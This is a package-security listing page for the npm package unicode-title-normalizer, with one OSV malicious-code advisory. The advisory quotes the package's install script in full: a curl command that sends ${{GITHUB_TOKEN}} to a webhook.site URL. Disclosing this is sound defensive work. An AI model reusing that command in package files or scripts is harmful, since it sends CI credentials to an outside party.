0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
unicode-title-normalizer
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting unicode-title-normalizer, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-18100 | Unknown | Malicious code in unicode-title-normalizer (npm)unicode-title-normalizer@1.0.0 was published to npm on 2026-10-19 at 14:50:39 UTC by the account blunty_blunks, about one minute after npm's staged-publish placeholder 0.0.0-stage. The tarball has three files. index.js exports a function that returns the string "hello", and README.md is an unedited template for a package named @your-scope/hello-example. The package name has nothing to do with the code. package.json declares an install script, which npm runs on every install: echo "hey hey hey hoooo" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}} |
| OSV (opens in a new tab) |
unicode-title-normalizer@1.0.0 was published to npm on 2026-10-19 at 14:50:39 UTC by the account blunty_blunks, about one minute after npm's staged-publish placeholder 0.0.0-stage. The tarball has three files. index.js exports a function that returns the string "hello", and README.md is an unedited template for a package named @your-scope/hello-example. The package name has nothing to do with the code. package.json declares an install script, which npm runs on every install: echo "hey hey hey hoooo" && curl https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}